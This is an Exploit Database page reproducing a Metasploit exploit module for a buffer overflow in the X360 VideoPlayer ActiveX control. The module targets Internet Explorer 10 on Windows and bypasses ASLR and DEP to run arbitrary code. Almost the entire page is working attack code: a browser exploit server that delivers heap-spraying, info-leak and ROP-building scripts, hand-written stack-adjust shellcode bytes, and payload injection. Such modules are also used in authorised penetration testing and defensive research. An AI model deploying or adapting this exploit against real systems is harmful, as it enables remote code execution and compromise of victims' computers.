X360 VideoPlayer – ActiveX Control Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2015-02-17
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36100/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::BrowserExploitServer
  
  def initialize(info={})
  super(update_info(info,
  'Name'=> "X360 VideoPlayer ActiveX Control Buffer Overflow",
  'Description' => %q{
  This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the
  X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun
  a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Rh0', # vulnerability discovery and exploit, all the hard work
  'juan vazquez' # msf module
  ],
  'References'=>
  [
  ['EDB', '35948'],
  ['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/']
  ],
  'Payload' =>
  {
  'Space'=> 1024,
  'DisableNops'=> true,
  'PrependEncoder' => stack_adjust
  },
  'DefaultOptions'=>
  {
  'InitialAutoRunScript' => 'migrate -f'
  },
  'Platform'=> 'win',
  'Arch'=> ARCH_X86,
  'BrowserRequirements' =>
  {
  :source=> /script|headers/i,
  :clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}",
  :os_name => OperatingSystems::Match::WINDOWS,
  :ua_name => Msf::HttpClients::IE,
  :ua_ver=> '10.0'
  },
  'Targets' =>
  [
  [ 'Automatic', {} ]
  ],
  'Privileged'=> false,
  'DisclosureDate'=> "Jan 30 2015",
  'DefaultTarget' => 0))
  end
  
  def stack_adjust
  adjust = "\x64\xa1\x18\x00\x00\x00"# mov eax, fs:[0x18 # get teb
  adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
  adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
  adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
  
  adjust
  end
  
  def on_request_exploit(cli, request, target_info)
  print_status("Request: #{request.uri}")
  
  case request.uri
  when /exploit.js/
  print_status("Sending exploit.js...")
  headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
  send_exploit_html(cli, exploit_template(cli, target_info), headers)
  when /sprayer.js/
  print_status("Sending sprayer.js...")
  headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
  send_exploit_html(cli, sprayer_template(cli, target_info), headers)
  when /informer.js/
  print_status("Sending informer.js...")
  headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
  send_exploit_html(cli, informer_template(cli, target_info), headers)
  when /rop_builder.js/
  print_status("Sending rop_builder.js...")
  headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
  send_exploit_html(cli, rop_builder_template(cli, target_info), headers)
  else
  print_status("Sending main.html...")
  headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'}
  send_exploit_html(cli, main_template(cli, target_info), headers)
  end
  end
  
  def main_template(cli, target_info)
  path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'main.html')
  template = ''
  File.open(path, 'rb') { |f| template = strip_comments(f.read) }
  
  return template, binding()
  end
  
  def exploit_template(cli, target_info)
  shellcode = Rex::Text.to_hex(get_payload(cli, target_info))
  
  path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'exploit.js')
  template = ''
  File.open(path, 'rb') { |f| template = strip_comments(f.read) }
  
  return template, binding()
  end
  
  def sprayer_template(cli, target_info)
  path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'sprayer.js')
  template = ''
  File.open(path, 'rb') { |f| template = strip_comments(f.read) }
  
  return template, binding()
  end
  
  def informer_template(cli, target_info)
  path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'informer.js')
  template = ''
  File.open(path, 'rb') { |f| template = strip_comments(f.read) }
  
  return template, binding()
  end
  
  def rop_builder_template(cli, target_info)
  path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'rop_builder.js')
  template = ''
  File.open(path, 'rb') { |f| template = strip_comments(f.read) }
  
  return template, binding()
  end
  
  def strip_comments(input)
  input.gsub(/\/\/.*$/, '')
  end
  
  end